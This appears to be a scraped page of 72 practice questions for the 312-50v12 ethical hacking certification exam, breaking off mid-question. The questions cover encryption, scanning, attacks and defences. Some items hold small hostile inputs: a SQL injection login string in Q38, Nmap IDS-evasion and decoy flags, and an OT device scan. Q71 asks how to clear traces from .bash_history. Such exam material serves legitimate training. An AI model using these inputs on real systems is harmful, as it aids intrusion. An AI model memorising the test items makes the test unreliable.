Actual exam question from ECCouncil's 312-50v12

Question #: 1

Topic #: 1

[All 312-50v12 Questions]

In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

A. IDEA

B. Triple Data Encryption Standard

C. AES

D. MD5 encryption algorithm

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 2

Topic #: 1

[All 312-50v12 Questions]

John is investigating web-application firewall logs and observers that someone is attempting to inject the following:

```
char buff[10];
buff[10] = 'a';
```

What type of attack is this?

A. SQL injection

B. Buffer overflow

C. CSRF

D. XSS

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 3

Topic #: 1

[All 312-50v12 Questions]

John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization.
Which of the following attack techniques is used by John?

A. Insider threat

B. Diversion theft

C. Spear-phishing sites

D. Advanced persistent threat

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 4

Topic #: 1

[All 312-50v12 Questions]

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

A. nmap -A - Pn

B. nmap -sP -p-65535 -T5

C. nmap -sT -O -T0

D. nmap -A --host-timeout 99 -T1

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 5

Topic #: 1

[All 312-50v12 Questions]

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.

Which is this wireless security protocol?

A. WPA3-Personal

B. WPA3-Enterprise

C. WPA2-Enterprise

D. WPA2-Personal

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 6

Topic #: 1

[All 312-50v12 Questions]

What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

A. httpd.conf

B. administration.config

C. php.ini

D. idq.dll

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 7

Topic #: 1

[All 312-50v12 Questions]

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market. To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network. He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.

What is the tool employed by Gerard in the above scenario?

A. Towelroot

B. Knative

C. zANTI

D. Bluto

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 8

Topic #: 1

[All 312-50v12 Questions]

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords.

Which of the following tools would not be useful for cracking the hashed passwords?

A. Hashcat

B. John the Ripper

C. THC-Hydra

D. netcat

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 9

Topic #: 1

[All 312-50v12 Questions]

Which of the following Google advanced search operators helps an attacker in gathering information about websites that are similar to a specified target URL?

A. [inurl:]

B. [info:]

C. [site:]

D. [related:]

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 10

Topic #: 1

[All 312-50v12 Questions]

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.

Which stage of the cyber kill chain are you at?

A. Reconnaissance

B. Weaponization

C. Command and control

D. Exploitation

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 11

Topic #: 1

[All 312-50v12 Questions]

While performing an Nmap scan against a host, Paola determines the existence of a firewall.

In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

A. -sA

B. -sX

C. -sT

D. -sF

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 12

Topic #: 1

[All 312-50v12 Questions]

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.

What is the type of vulnerability assessment performed by Martin?

A. Database assessment

B. Host-based assessment

C. Credentialed assessment

D. Distributed assessment

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 13

Topic #: 1

[All 312-50v12 Questions]

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.

What is the attack technique employed by Jane in the above scenario?

A. Session hijacking

B. Website mirroring

C. Website defacement

D. Web cache poisoning

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 14

Topic #: 1

[All 312-50v12 Questions]

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.

What is the type of vulnerability assessment solution that James employed in the above scenario?

A. Service-based solutions

B. Product-based solutions

C. Tree-based assessment

D. Inference-based assessment

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 15

Topic #: 1

[All 312-50v12 Questions]

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.

Which of the following tools did Taylor employ in the above scenario?

A. Webroot

B. Web-Stat

C. WebSite-Watcher

D. WAFW00F

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 16

Topic #: 1

[All 312-50v12 Questions]

Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France.

Which regional Internet registry should Becky go to for detailed information?

A. ARIN

B. LACNIC

C. APNIC

D. RIPE

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 17

Topic #: 1

[All 312-50v12 Questions]

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.

What is the APT lifecycle phase that Harry is currently executing?

A. Initial intrusion

B. Persistence

C. Cleanup

D. Preparation

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 18

Topic #: 1

[All 312-50v12 Questions]

Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network.
What is the attack performed by Robin in the above scenario?

A. ARP spoofing attack

B. STP attack

C. DNS poisoning attack

D. VLAN hopping attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 19

Topic #: 1

[All 312-50v12 Questions]

An attacker utilizes a Wi-Fi Pineapple to run an access point with a legitimate-looking SSID for a nearby business in order to capture the wireless password.
What kind of attack is this?

A. MAC spoofing attack

B. War driving attack

C. Phishing attack

D. Evil-twin attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 20

Topic #: 1

[All 312-50v12 Questions]

CyberTech Inc. recently experienced SQL injection attacks on its official website. The company appointed Bob, a security professional, to build and incorporate defensive strategies against such attacks. Bob adopted a practice whereby only a list of entities such as the data type, range, size, and value, which have been approved for secured access, is accepted.

What is the defensive technique employed by Bob in the above scenario?

A. Whitelist validation

B. Output encoding

C. Blacklist validation

D. Enforce least privileges

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 21

Topic #: 1

[All 312-50v12 Questions]

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.
In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

A. Cloud consumer

B. Cloud broker

C. Cloud auditor

D. Cloud carrier

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 22

Topic #: 1

[All 312-50v12 Questions]

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website.

What is the attack performed by Bobby in the above scenario?

A. aLTEr attack

B. Jamming signal attack

C. Wardriving

D. KRACK attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 23

Topic #: 1

[All 312-50v12 Questions]

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the LDAP service?

A. ike-scan

B. Zabasearch

C. JXplorer

D. EarthExplorer

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 24

Topic #: 1

[All 312-50v12 Questions]

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks.

What is the component of the Docker architecture used by Annie in the above scenario?

A. Docker objects

B. Docker daemon

C. Docker client

D. Docker registries

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 25

Topic #: 1

[All 312-50v12 Questions]

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it.

Which of the following tools did Bob employ to gather the above information?

A. FCC ID search

B. Google image search

C. search.com

D. EarthExplorer

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 26

Topic #: 1

[All 312-50v12 Questions]

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

A. CPU

B. UEFI

C. GPU

D. TPM

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 27

Topic #: 1

[All 312-50v12 Questions]

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.

What is the type of web-service API mentioned in the above scenario?

A. RESTful API

B. JSON-RPC

C. SOAP API

D. REST API

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 28

Topic #: 1

[All 312-50v12 Questions]

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.

Which technique is discussed here?

A. Subnet scanning technique

B. Permutation scanning technique

C. Hit-list scanning technique.

D. Topological scanning technique

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 29

Topic #: 1

[All 312-50v12 Questions]

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.

What type of hacker is Nicolas?

A. Black hat

B. White hat

C. Gray hat

D. Red hat

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 30
Topic #: 1
[All 312-50v12 Questions]

Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials.
Which of the following tools is employed by Clark to create the spoofed email?

A. Evilginx
B. Slowloris
C. PLCinject
D. PyLoris

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 31

Topic #: 1

[All 312-50v12 Questions]

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation.

What is the type of vulnerability assessment tool employed by John in the above scenario?

A. Agent-based scanner

B. Network-based scanner

C. Cluster scanner

D. Proxy scanner

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 32

Topic #: 1

[All 312-50v12 Questions]

Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine. Joel waits for the victim to access the infected web application so as to compromise the victim's machine.

Which of the following techniques is used by Joel in the above scenario?

A. Watering hole attack

B. DNS rebinding attack

C. MarioNet attack

D. Clickjacking attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 33

Topic #: 1

[All 312-50v12 Questions]

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.
What type of malware did the attacker use to bypass the company's application whitelisting?

A. File-less malware

B. Zero-day malware

C. Phishing malware

D. Logic bomb malware

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 34

Topic #: 1

[All 312-50v12 Questions]

Dorian is sending a digitally signed email to Poly. With which key is Dorian signing this message and how is Poly validating it?

A. Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

B. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

C. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

D. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 35

Topic #: 1

[All 312-50v12 Questions]

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.

What type of attack he is experiencing?

A. DHCP spoofing

B. DoS attack

C. ARP cache poisoning

D. DNS hijacking

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 36

Topic #: 1

[All 312-50v12 Questions]

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.

What is the attack performed by Boney in the above scenario?

A. Forbidden attack

B. CRIME attack

C. Session donation attack

D. Session fixation attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 37

Topic #: 1

[All 312-50v12 Questions]

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them.

What is the technique used by Kevin to evade the IDS system?

A. Session splicing

B. Urgency flag

C. Obfuscating

D. Desynchronization

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 38

Topic #: 1

[All 312-50v12 Questions]

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/password form, you enter the following credentials:

Username: attack' or 1=1 –
Password: 123456

Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

A. select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'

B. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

C. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 39

Topic #: 1

[All 312-50v12 Questions]

Which of the following commands checks for valid users on an SMTP server?

A. RCPT

B. CHK

C. VRFY

D. EXPN

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 40
Topic #: 1
[All 312-50v12 Questions]

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.
Which of the following protocols is used by Bella?

A. FTPS
B. FTP
C. HTTPS
D. IP

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 41

Topic #: 1

[All 312-50v12 Questions]

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

A. Use his own private key to encrypt the message.

B. Use his own public key to encrypt the message.

C. Use Marie's private key to encrypt the message.

D. Use Marie's public key to encrypt the message.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 42

Topic #: 1

[All 312-50v12 Questions]

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

A. 4.0-6.0

B. 3.9-6.9

C. 3.0-6.9

D. 4.0-6.9

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 43

Topic #: 1

[All 312-50v12 Questions]

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.
What protocol is this port using and how can he secure that traffic?

A. RPC and the best practice is to disable RPC completely.

B. SNMP and he should change it to SNMP V3.

C. SNMP and he should change it to SNMP V2, which is encrypted.

D. It is not necessary to perform any actions, as SNMP is not carrying important information.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 44

Topic #: 1

[All 312-50v12 Questions]

Consider the following Nmap output:

```
Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).
Not shown: 932 filtered ports, 56 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
995/tcp open pop3s
Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds
```

What command-line parameter could you use to determine the type and version number of the web server?

A. -sV

B. -sS

C. -Pn

D. -V

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 45

Topic #: 1

[All 312-50v12 Questions]

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data. Which of the following regulations is mostly violated?

A. PCI DSS

B. PII

C. ISO 2002

D. HIPPA/PHI

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 46

Topic #: 1

[All 312-50v12 Questions]

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

A. Scanning

B. Gaining access

C. Maintaining access

D. Reconnaissance

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 47

Topic #: 1

[All 312-50v12 Questions]

Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server.

Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

A. Retain all unused modules and application extensions.

B. Limit the administrator or root-level access to the minimum number of users.

C. Enable all non-interactive accounts that should exist but do not require interactive login.

D. Enable unused default user accounts created during the installation of an OS.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 48

Topic #: 1

[All 312-50v12 Questions]

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.

What is this cloud deployment option called?

A. Private

B. Community

C. Public

D. Hybrid

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 49

Topic #: 1

[All 312-50v12 Questions]

Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.
Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

A. <00>

B. <20>

C. <03>

D. <1B>

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 50

Topic #: 1

[All 312-50v12 Questions]

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app.

What is the attack performed on Don in the above scenario?

A. SIM card attack

B. Clickjacking

C. SMS phishing attack

D. Agent Smith attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 51

Topic #: 1

[All 312-50v12 Questions]

Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.

Which of the following attacks can be performed by exploiting the above vulnerability?

A. Padding oracle attack

B. DROWN attack

C. DUHK attack

D. Side-channel attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 52

Topic #: 1

[All 312-50v12 Questions]

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.

What is the online tool employed by Clark in the above scenario?

A. DuckDuckGo

B. AOL

C. ARIN

D. Baidu

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 53

Topic #: 1

[All 312-50v12 Questions]

You are a penetration tester and are about to perform a scan on a specific server. The agreement that you signed with the client contains the following specific condition for the scan: "The attacker must scan every port on the server several times using a set of spoofed source IP addresses." Suppose that you are using Nmap to perform this scan.

What flag will you use to satisfy this requirement?

A. The -g flag

B. The -A flag

C. The -f flag

D. The -D flag

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 54

Topic #: 1

[All 312-50v12 Questions]

Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network. What is the type of vulnerability assessment that Jude performed on the organization?

A. Application assessment

B. External assessment

C. Passive assessment

D. Host-based assessment

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 55

Topic #: 1

[All 312-50v12 Questions]

Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?

A. SOX

B. FedRAMP

C. HIPAA

D. PCI DSS

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 56

Topic #: 1

[All 312-50v12 Questions]

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network.

Which of the following attacks did Abel perform in the above scenario?

A. Rogue DHCP server attack

B. VLAN hopping

C. STP attack

D. DHCP starvation

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 57

Topic #: 1

[All 312-50v12 Questions]

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

A. HMAC encryption algorithm

B. Twofish encryption algorithm

C. IDEA

D. Blowfish encryption algorithm

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 58

Topic #: 1

[All 312-50v12 Questions]

Jude, a pen tester working in Keiltech Ltd., performs sophisticated security testing on his company's network infrastructure to identify security loopholes. In this process, he started to circumvent the network protection tools and firewalls used in the company. He employed a technique that can create forged TCP sessions by carrying out multiple SYN, ACK, and RST or FIN packets. Further, this process allowed Jude to execute DDoS attacks that can exhaust the network resources.
What is the attack technique used by Jude for finding loopholes in the above scenario?

A. Spoofed session flood attack

B. UDP flood attack

C. Peer-to-peer attack

D. Ping-of-death attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 59

Topic #: 1

[All 312-50v12 Questions]

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address.

Which of the following Nmap commands helped Jim retrieve the required information?

A. nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >

C. nmap -Pn -sT -p 46824 < Target IP >

D. nmap -Pn -sT -p 102 --script s7-info < Target IP >

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 60

Topic #: 1

[All 312-50v12 Questions]

While testing a web application in development, you notice that the web server does not properly ignore the "dot dot slash" (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server.

What kind of attack is possible in this scenario?

A. Cross-site scripting

B. SQL injection

C. Denial of service

D. Directory traversal

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 61

Topic #: 1

[All 312-50v12 Questions]

Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.

What is the type of attack performed by Richard in the above scenario?

A. Cryptanalysis attack

B. Reconnaissance attack

C. Side-channel attack

D. Replay attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 62

Topic #: 1

[All 312-50v12 Questions]

Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack?

A. Vulnerability analysis

B. Malware analysis

C. Scanning networks

D. Enumeration

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 63

Topic #: 1

[All 312-50v12 Questions]

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

A. Use the built-in Windows Update tool

B. Use a scan tool like Nessus

C. Check MITRE.org for the latest list of CVE findings

D. Create a disk image of a clean Windows installation

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 64

Topic #: 1

[All 312-50v12 Questions]

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information.
Which of the following techniques is employed by Susan?

A. Web shells

B. Webhooks

C. REST API

D. SOAP API

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 65

Topic #: 1

[All 312-50v12 Questions]

Which IOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

A. Tethered jailbreaking

B. Semi-untethered jailbreaking

C. Semi-tethered jailbreaking

D. Untethered jailbreaking

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 66

Topic #: 1

[All 312-50v12 Questions]

Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections. Which of the following attack techniques is used by Stella to compromise the web services?

A. Web services parsing attacks

B. WS-Address spoofing

C. SOAPAction spoofing

D. XML injection

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 67

Topic #: 1

[All 312-50v12 Questions]

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.

What is the technique employed by Steve to gather information for identity theft?

A. Pharming

B. Skimming

C. Pretexting

D. Wardriving

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 68

Topic #: 1

[All 312-50v12 Questions]

What is the port to block first in case you are suspicious that an IoT device has been compromised?

A. 22

B. 48101

C. 80

D. 443

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 69

Topic #: 1

[All 312-50v12 Questions]

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary in the above scenario.

A. Unspecified proxy activities

B. Use of command-line interface

C. Data staging

D. Use of DNS tunneling

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 70

Topic #: 1

[All 312-50v12 Questions]

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

A. Packet fragmentation scanning

B. Spoof source address scanning

C. Decoy scanning

D. Idle scanning

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 71

Topic #: 1

[All 312-50v12 Questions]

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.

Which file do you have to clean to clear the password?

A. .xsession-log

B. .profile

C. .bashrc

D. .bash_history

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 72

Topic #: 1

[All 312-50v12 Questions]

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit.

What is the technique used by Jack to launch the fileless malware on the target systems?

A. In-memory exploits

